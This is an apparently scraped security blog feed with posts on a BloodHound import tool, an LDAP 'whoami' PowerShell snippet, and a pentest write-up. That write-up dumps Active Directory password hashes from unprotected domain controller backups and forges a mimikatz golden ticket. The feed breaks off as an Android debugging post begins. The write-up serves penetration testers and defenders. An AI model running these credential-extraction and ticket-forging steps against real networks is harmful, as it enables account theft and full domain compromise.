&lt;p&gt;BloodHound for all its perks and fanciness is quite heavy application, not to talk about the fact you can’t really use it on GUI-less server. There is already project for importing BloodHound data - &lt;a href=&quot;https://github.com/fox-it/bloodhound-import&quot;&gt;bloodhound-import&lt;/a&gt; written in Python. It’s great but it tries to reproduce logic written in JavaScript desktop app in Python which, of course, brings additional implementation overhead and makes it harder trying to keep up with the BloodHound project. It’s currently supporting BloodHound version 3 while there’s already BloodHound 4.2. Initially, I’ve tried to update bloodhound-import’s code to be compatible with latest BloodHound but when I was almost ready to create a pull request, new BloodHound was introduced.&lt;/p&gt;

&lt;p&gt;That made me realize I won’t have time to keep up with BloodHound. Yet, my import files are large making BloodHound stuck and I don’t have GUI server so I still need some CLI import tool. For this reason, I decided to butcher BloodHound’s code and just write import tool in JavaScript that uses as much of BloodHound project’s code as possible.&lt;/p&gt;

&lt;p&gt;Unfortunately, BloodHound’s GUI-dependent code or my JavaScript knowledge allowed me to only reuse 2 unmodified files from the original repository. Still, it took me only fraction of time from when I tried updating bloodhound-import. Let’s see if I’ll be able to keep up with BloodHound updates.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If I’ve missed anything on the topic or just want to discuss, I’m here: &lt;a href=&quot;https://twitter.com/malacupa&quot;&gt;@malacupa&lt;/a&gt;&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">This is about StarHound Importer tool on GitHub.</summary></entry><entry><title type="html">Active Directory, whoami?</title><link href="https://malacupa.com/2022/02/08/active-directory-whoami.html" rel="alternate" type="text/html" title="Active Directory, whoami?" /><published>2022-02-08T11:10:37+01:00</published><updated>2022-02-08T11:10:37+01:00</updated><id>https://malacupa.com/2022/02/08/active-directory-whoami</id><content type="html" xml:base="https://malacupa.com/2022/02/08/active-directory-whoami.html">&lt;p&gt;Sometimes it happens that I authenticate as multiple users from either single PowerShell session or in multiple windows. And sometimes I’m not careful and lose track of who is logged-in in where. Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;klist&lt;/code&gt; does not always show any tickets (because NTLM is used? have yet to find out). In those cases, running traditional &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami.exe&lt;/code&gt; may not return correct username if I’ve injected tickets or used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;runas&lt;/code&gt;. It would just be the best to run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt; against Active Directory somehow…&lt;/p&gt;

&lt;p&gt;New to me, this is what bugch3ck is doing in his C# project &lt;a href=&quot;https://github.com/bugch3ck/SharpLdapWhoami&quot;&gt;SharpLdapWhoami&lt;/a&gt; by using LDAP’s &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc4532.html&quot;&gt;“Who am I?”&lt;/a&gt; operation with OID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.3.6.1.4.1.4203.1.11.3&lt;/code&gt;. If you have &lt;a href=&quot;https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools&quot;&gt;RSAT&lt;/a&gt; with Active Directory Domain Services installed or just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;System.DirectoryServices.Protocols.dll&lt;/code&gt; laying around, you can issue this LDAP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt; also using plain PowerShell like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# before running, .NET types from System.DirectoryServices.Protocols.dll need to be loaded, e.g. by Add-Type -Path .\some\path\System.DirectoryServices.Protocols.dll
# or if you have RSAT installed easiest is to auto-import it by running any RSAT command, e.g. &quot;Get-ADUser -?&quot;

$dc = &quot;here goes Domain Controller's hostname or FQDN&quot;
$c = new-object System.DirectoryServices.Protocols.LdapConnection($dc)
$rq = new-object System.DirectoryServices.Protocols.ExtendedRequest('1.3.6.1.4.1.4203.1.11.3')
write-host ([System.Text.Encoding]::ASCII.GetString($c.SendRequest($rq).ResponseValue))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div style=&quot;text-align: right&quot;&gt;&lt;sub&gt;I'm leaving any error validation as an exercise to the reader :)&lt;/sub&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Lastly, an example where I see this super helpful. I see nothing in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;klist&lt;/code&gt; output and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami.exe&lt;/code&gt; doesn’t help. Since I know there should be authenticated session to AD, I connect to domain controller &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dc01&lt;/code&gt; and do the LDAP whoami:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/active-directory-whoami1.png&quot; alt=&quot;LDAP's whoami request usage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the output now I know I’m actually authenticated as user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;luigi&lt;/code&gt; to domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mango&lt;/code&gt;.&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">Sometimes it happens that I authenticate as multiple users from either single PowerShell session or in multiple windows. And sometimes I’m not careful and lose track of who is logged-in in where. Using klist does not always show any tickets (because NTLM is used? have yet to find out). In those cases, running traditional whoami.exe may not return correct username if I’ve injected tickets or used runas. It would just be the best to run whoami against Active Directory somehow…</summary></entry><entry><title type="html">Unprotected Domain Controller Backups -&amp;gt; Full Domain Compromise</title><link href="https://malacupa.com/2018/12/31/unprotected-domain-controller-backups-to-domain-compromise.html" rel="alternate" type="text/html" title="Unprotected Domain Controller Backups -&amp;gt; Full Domain Compromise" /><published>2018-12-31T11:10:37+01:00</published><updated>2018-12-31T11:10:37+01:00</updated><id>https://malacupa.com/2018/12/31/unprotected-domain-controller-backups-to-domain-compromise</id><content type="html" xml:base="https://malacupa.com/2018/12/31/unprotected-domain-controller-backups-to-domain-compromise.html">&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;

&lt;p&gt;In this post, I’d like to show you why you should not leave your old Domain Controller backups lying around if you are admin and why you should be happy to find it if you are pentester.&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;Skip to &lt;a href=&quot;#recap&quot;&gt;Recap&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;lenghty-version&quot;&gt;Lenghty Version&lt;/h2&gt;

&lt;p&gt;I’m not really experienced with testing Windows Domain networks but I got lucky and was given access into one. 
This was my first pentest of this kind and I had a bit easier situation as I got valid credentials to one low privileged user in the domain. The task was to penetrate as far as I could.&lt;/p&gt;

&lt;h3 id=&quot;initial-finding&quot;&gt;Initial Finding&lt;/h3&gt;
&lt;p&gt;I tried a number of attack vectors, searched available SMB shares but nothing. I spent quite some time jumping from one attack to another and just lost track of what I did and didn’t. Eventually, I realized that the network shares should be given a bit more care. To my luck, it paid off!
I found a shared folder called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BACKUPS&lt;/code&gt; containing Domain Controllers’ backups readable by any authenticated user. If I got my hands on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; Active Directory database file, I should be able to extract password hashes of every domain account! Let’s see.&lt;/p&gt;

&lt;p&gt;Inside the share, there ware separate folders for each of the 4 domain controllers. One of the DC folders looked like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Directory of \\blahblah\BACKUPS\dc001

2018-02-13  08:45 PM    &amp;lt;DIR&amp;gt;          .
2018-02-13  08:45 PM    &amp;lt;DIR&amp;gt;          ..
2018-02-13  08:45 PM    &amp;lt;DIR&amp;gt;          Backup 2018-03-19 022924
2018-02-13  08:45 PM    &amp;lt;DIR&amp;gt;          Catalog
2018-02-13  08:25 PM                16 MediaId
2018-02-13  08:45 PM    &amp;lt;DIR&amp;gt;          SPPMetadataCache

dc001\Backup 2018-02-13 011635

2018-02-13  08:45 PM    &amp;lt;DIR&amp;gt;          .
2018-02-13  08:45 PM    &amp;lt;DIR&amp;gt;          ..
2018-02-13  08:45 PM     9,764,339,712 27163d45-0000-0000-0000-100000000000.vhdx
2018-02-13  08:45 PM        20,971,520 83423cde-0000-0000-0000-010000000000.vhdx
2018-02-13  08:45 PM    22,515,023,872 64eab400-0000-0000-0000-100000000000.vhdx
2018-02-13  08:45 PM        62,914,560 64eab400-0000-0000-0000-80dd1f000000.vhdx
2018-02-13  08:45 PM       111,149,056 94f35c2e-0000-0000-0000-100000000000.vhdx
2018-02-13  08:45 PM             2,574 BackupSpecs.xml
2018-02-13  08:45 PM               776 5e3c1f87-6edf-4482-9c23-cc9461bf989e_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
2018-02-13  08:45 PM            20,306 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Components.xml
2018-02-13  08:45 PM             9,138 5e3c1f87-6edf-4482-9c23-cc9461bf989e_RegistryExcludes.xml
2018-02-13  08:45 PM             2,940 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
2018-02-13  08:45 PM             7,432 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
2018-02-13  08:45 PM             1,746 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writerd61d61c8-d73a-4eee-8cdd-f6f9786b7124.xml
2018-02-13  08:45 PM         5,428,292 5e3c1f87-6edf-4482-9c23-cc9461bf989e_Writere8132975-6f93-4464-a53e-1050253ae220.xml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is how it looks like when you perform Windows Server Backup. I didn’t know what was important and what was not so I archived everything, split it into smaller chunks and transferred on my Linux machine.
As you might have guessed, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.vhdx&lt;/code&gt; files are images of hard drives used by backed up server. To better understand what these UUID names actually are, we can view &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Backup 2018-02-13 011635\BackupSpecs.xml&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;
&amp;lt;BackupSpecs Version=&quot;1&quot;&amp;gt;
  &amp;lt;FileSpecs&amp;gt;
    &amp;lt;Volume Name=&quot;\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\&quot; AccessPath=&quot;&quot; OriginalAccessPath=&quot;&quot; Label=&quot;&quot; OriginalLabel=&quot;&quot;&amp;gt;
      &amp;lt;FileSpec FilePath=&quot;\\?\Volume{64eab400-0000-0000-0000-80dd1f000000}\&quot; FileName=&quot;*&quot; IsRecursive=&quot;true&quot; IsInclude=&quot;true&quot;/&amp;gt;
    &amp;lt;/Volume&amp;gt;
    &amp;lt;Volume Name=&quot;\\?\Volume{94f35c2e-0000-0000-0000-100000000000}\&quot; AccessPath=&quot;D:&quot; OriginalAccessPath=&quot;D:&quot; Label=&quot;&quot; OriginalLabel=&quot;&quot;&amp;gt;
      &amp;lt;FileSpec FilePath=&quot;D:\&quot; FileName=&quot;*&quot; IsRecursive=&quot;true&quot; IsInclude=&quot;true&quot;/&amp;gt;
    &amp;lt;/Volume&amp;gt;
    &amp;lt;Volume Name=&quot;\\?\Volume{83423cde-0000-0000-0000-010000000000}\&quot; AccessPath=&quot;E:&quot; OriginalAccessPath=&quot;E:&quot; Label=&quot;&quot; OriginalLabel=&quot;&quot;&amp;gt;
      &amp;lt;FileSpec FilePath=&quot;E:\&quot; FileName=&quot;*&quot; IsRecursive=&quot;true&quot; IsInclude=&quot;true&quot;/&amp;gt;
    &amp;lt;/Volume&amp;gt;
    &amp;lt;Volume Name=&quot;\\?\Volume{27163d45-0000-0000-0000-100000000000}\&quot; AccessPath=&quot;F:&quot; OriginalAccessPath=&quot;F:&quot; Label=&quot;&quot; OriginalLabel=&quot;&quot;&amp;gt;
      &amp;lt;FileSpec FilePath=&quot;F:\&quot; FileName=&quot;*&quot; IsRecursive=&quot;true&quot; IsInclude=&quot;true&quot;/&amp;gt;
    &amp;lt;/Volume&amp;gt;
    &amp;lt;Volume Name=&quot;\\?\Volume{64eab400-0000-0000-0000-100000000000}\&quot; AccessPath=&quot;C:&quot; OriginalAccessPath=&quot;C:&quot; Label=&quot;&quot; OriginalLabel=&quot;&quot;&amp;gt;
      &amp;lt;FileSpec FilePath=&quot;C:\&quot; FileName=&quot;*&quot; IsRecursive=&quot;true&quot; IsInclude=&quot;true&quot;/&amp;gt;
    &amp;lt;/Volume&amp;gt;
  &amp;lt;/FileSpecs&amp;gt;
  &amp;lt;SystemState IsPresent=&quot;true&quot;/&amp;gt;
  &amp;lt;AllCritical IsPresent=&quot;true&quot;/&amp;gt;
  &amp;lt;ComponentSpecs/&amp;gt;
&amp;lt;/BackupSpecs&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From the letters in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AccessPath&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OriginalAccessPath&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilePath&lt;/code&gt; attributes you can find where were these hard drives mounted at the time of backup. I’m going for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; file which should be found in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%SystemRoot%\NTDS\ntds.dit&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%SystemRoot%\System32\ntds.dit&lt;/code&gt;, where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%SystemRoot%&lt;/code&gt; is going to be most probably &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows&lt;/code&gt;. That means I need to read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;64eab400-0000-0000-0000-100000000000.vhdx&lt;/code&gt; somehow.&lt;/p&gt;

&lt;h3 id=&quot;mounting-vhdx-in-linux&quot;&gt;Mounting VHDX in Linux&lt;/h3&gt;
&lt;p&gt;VHDX is some Microsoft virtual hard drive format which you can mount in Linux, for example, using &lt;a href=&quot;https://ubuntuforums.org/showthread.php?t=2299701&quot;&gt;qemu-utils&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First you connect disk image to network block device:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# qemu-nbd -c /dev/nbd0 64eab400-0000-0000-0000-100000000000.vhdx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then you can see it has two partitions:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# fdisk -l /dev/nbd0
Disk /dev/nbd0: 127.6 GiB, 137014280192 bytes, 267606016 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 162F1224-AABB-CCDD-EEFF-D2B3951504E2

Device       Start       End   Sectors   Size Type
/dev/nbd0p1     34    262177    262144   128M Microsoft reserved
/dev/nbd0p2 262184 267565095 267302912 127.5G Microsoft basic data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first partition contains some boot and BitLocker information, the actual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:&lt;/code&gt; drive is on the second one, which you can simply mount like this:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# mount /dev/nbd0p2 /mnt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;getting-content-of-ntdsdit&quot;&gt;Getting Content of ntds.dit&lt;/h3&gt;
&lt;p&gt;Now I could finally search the drive for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; and yeah, I found it in both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/Windows/NTDS/ntds.dit&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/Windows/System32/ntds.dit&lt;/code&gt;. The content of the file is, however, encrypted. The password for encryption is stored in the same file and is also encrypted but can be decrypted with the value of boot key which is stored inside SYSTEM Windows registry hive. The hive files are stored under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%SystemRoot%\System32\Config&lt;/code&gt; or in my case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/Windows/System32/config&lt;/code&gt;.
There are several tools you can use to get the hashes, on Linux you can use tools mentioned in this &lt;a href=&quot;https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/&quot;&gt;ropnop’s article&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I found it’s better to use PowerShell scripts from &lt;a href=&quot;https://github.com/MichaelGrafnetter/DSInternals&quot;&gt;DSInternals&lt;/a&gt; if you have access to some Windows machine, it gives you quite a bit more information. I’ll show you here how I got the hashes using DSInternals. First, copy your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SYSTEM&lt;/code&gt; files to Windows and install DSInternals:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS&amp;gt; Install-Module DSInternals
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then get the boot key:&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-BootKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-SystemHiveFile&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;\SYSTEM&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;123&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;c51121e6254472e4c65a1f4537393&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And view the hashes:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS&amp;gt; Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
Get-ADDBAccount : Object with identity 'CN=Partitions,O=Boot' has not been found.
At line:1 char:1
+ Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (:) [Get-ADDBAccount], DirectoryObjectNotFoundException
    + FullyQualifiedErrorId : DBContextError,DSInternals.PowerShell.Commands.GetADDBAccountCommand
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;WTF? I don’t know what was wrong, maybe some corruption during backup but none of the two &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; worked. After a while of cursing and searching around I mounted the other VHDX disk image and there on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;F:&lt;/code&gt; drive I found this:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$RECYCLE.BIN
NTDS
System Volume Information
SYSVOL
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A backup of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\NTDS&lt;/code&gt; inside backup of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;F:&lt;/code&gt; yo! This gave me one more &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; file to try aaaaaaand:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS&amp;gt; Get-ADDBAccount -All -DBPath .\ntds.dit -BootKey 123c51121e6254472e4c65a1f4537393
DistinguishedName: CN=Some User,OU=Basic Users,OU=Accounts,DC=acme,DC=corp
Sid: S-1-5-21-123445567-1234565776-237463274-5762
Guid: 9cacd376-02ed-4ca7-ba78-adc565f25f2a
SamAccountName: someuser
SamAccountType: User
UserPrincipalName: someuser@acme.corp
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount
AdminCount: False
Deleted: False
LastLogon:
DisplayName: SomeUser
GivenName: Some
Surname: User
Description: ACN
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
SelfRelative
Owner: S-1-5-21-123445567-1234565776-237463274-512
Secrets
  NTHash: 532525e124359744e51591e5053355b6
  LMHash:
  NTHashHistory:
    Hash 01: 532525e124359744e51591e5053355b6
  LMHashHistory:
    Hash 01: 4ee58551e1e37b399f3d44592d52f2d2
  SupplementalCredentials:
    ClearText:
    NTLMStrongHash: 38b237b10624d195dd422f291935234c
    Kerberos:
      Credentials:
        DES_CBC_MD5
          Key: 56c271d371411336
      OldCredentials:
        DES_CBC_MD5
          Key: 4b3f1c5e4a11111d
      Salt: ACME.CORPsomeuser
      Flags: 0
    KerberosNew:
      Credentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 114a3537317512594f1e635c2352201aa4363283052204812b5d371d2eababab
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 433d543337265c4c10454f5e2dc2f132
          Iterations: 4096
        DES_CBC_MD5
          Key: 19e3e9b991a431d6
          Iterations: 4096
      OldCredentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 103152a5a572917325b3c1255315a3b3f492223e61933255a56f3f34413aabab
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 10c41525511e20053b191e19131d3e38
          Iterations: 4096
        DES_CBC_MD5
          Key: 8f6d02d53b976492
          Iterations: 4096
      OlderCredentials:
        AES256_CTS_HMAC_SHA1_96
          Key: 334b3f3d1a48322553111425405451e1b1848361714e1243204f561ddabababb
          Iterations: 4096
        AES128_CTS_HMAC_SHA1_96
          Key: 121353f49124a459221f3715f4a17361
          Iterations: 4096
        DES_CBC_MD5
          Key: 47335231e241f3c5
          Iterations: 4096
      ServiceCredentials:
      Salt: ACME.CORPsomeuser
      DefaultIterationCount: 4096
      Flags: 0
    WDigest:
      Hash 01: 4d71b1e2c3d502e2f3514e474b4331ab
      Hash 02: 13d1a4520114b4142e62a558454aabab
      Hash 03: 42344f26403d5f221a46fe30d3950333
Key Credentials:
Credential Roaming
  Created:
  Modified:
  Credentials:

... few hundred more ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yes! I could finally read the hashes for more than 500 accounts. Unfortunately, hashes were 10 months old from February and password policy required users to change passwords every 75 days, ugh.&lt;/p&gt;

&lt;h3 id=&quot;golden-ticket&quot;&gt;Golden Ticket&lt;/h3&gt;
&lt;p&gt;There are some non-user accounts which don’t conform with domain password policies and their passwords are rarely changed. One of those is KRBTGT account. 
This one is used internally to sign all Kerberos tickets in the domain and if you know its hash you can create Golden Tickets. What’s that? Just a completely valid Kerberos ticket allowing you to impersonate any user from any group, even non-existing one.&lt;/p&gt;

&lt;p&gt;At this point I found out I’m done with testing as I could use &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos&quot;&gt;mimikatz&lt;/a&gt; to impersonate one of domain admin accounts and do anything I’d like:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS&amp;gt; mimikatz kerberos::golden /domain:acme.corp /sid:S-1-5-21-123445567-1234565776-237463274 /user:SOMEADMIN.DCA /krbtgt:22e9535a571519374f2ab3262522d193 /ptt

User      : SOMEADMIN.DCA
Domain    : acme.corp (ACME)
SID       : S-1-5-21-123445567-1234565776-237463274
User Id   : 500
Groups Id : *510 516 524 513 512
ServiceKey: 22e9535a571519374f2ab3262522d193 - rc4_hmac_nt
Lifetime  : 12/12/2018 15:33:39 PM ; 12/09/2028 15:33:39 PM ; 12/09/2028 15:33:39 PM
-&amp;gt; Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'SOMEADMIN.DCA @ acme.corp' successfully submitted for current session

PS&amp;gt; dir \\dc001\c$
 Volume in drive \\dc001\c$ has no label.
 Volume Serial Number is 3832-4843

 Directory of \\dc001\c$

12/11/2016  01:45 AM    &amp;lt;DIR&amp;gt;          Logs
11/09/2017  05:35 AM    &amp;lt;DIR&amp;gt;          Packages
06/03/2018  04:57 PM    &amp;lt;DIR&amp;gt;          PerfLogs
04/07/2018  07:81 PM    &amp;lt;DIR&amp;gt;          Program Files
04/07/2018  04:13 PM    &amp;lt;DIR&amp;gt;          Program Files (x86)
03/06/2018  01:10 PM    &amp;lt;DIR&amp;gt;          Temp
02/04/2018  10:04 AM    &amp;lt;DIR&amp;gt;          Users
02/22/2018  07:31 AM    &amp;lt;DIR&amp;gt;          Windows
              8 Dir(s)  193,487,342,120 bytes free
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;recap&quot;&gt;Recap&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Domain Controller backups might contain Active Directory database file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; and SYSTEM registry hive&lt;/li&gt;
  &lt;li&gt;SYSTEM hive has boot key that allows you to decrypt &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; and get NTLM hashes of domain accounts&lt;/li&gt;
  &lt;li&gt;NTLM hash of KRBTGT account lets you create Golden Ticket to impersonate other users&lt;/li&gt;
  &lt;li&gt;Impersonation of domain admin accounts is basically game over&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;takeaways&quot;&gt;Takeaways&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Even older unprotected backups might lead to full Domain compromise&lt;/li&gt;
  &lt;li&gt;Make sure haven’t missed anything interesting in network shares during a pentest&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Do you have any idea why I couldn’t get hashes of these two &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; files? Have any other thoughts? Hit me up on Twitter &lt;a href=&quot;http://twitter.com/malacupa&quot;&gt;@malacupa&lt;/a&gt;.&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">Intro</summary></entry><entry><title type="html">Debug Decompiled Smali Code in Android Studio 3.2</title><link href="https://malacupa.com/2018/11/11/debug-decompiled-smali-code-in-android-studio-3.2.html" rel="alternate" type="text/html" title="Debug Decompiled Smali Code in Android Studio 3.2" /><published>2018-11-11T11:10:37+01:00</published><updated>2018-11-11T11:10:37+01:00</updated><id>https://malacupa.com/2018/11/11/debug-decompiled-smali-code-in-android-studio-3.2</id><content type="html" xml:base="https://malacupa.com/2018/11/11/debug-decompiled-smali-code-in-android-studio-3.2.html">&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;
&lt;p&gt;Being able to peek into what data are in memory of the app you are currently reverse engineering and step through its code are really useful features and Android Studio with &lt;a href=&quot;https://github.com/JesusFreke/smali/wiki/smalidea&quot;&gt;smalidea&lt;/a&gt; plugin allows you exactly that. 
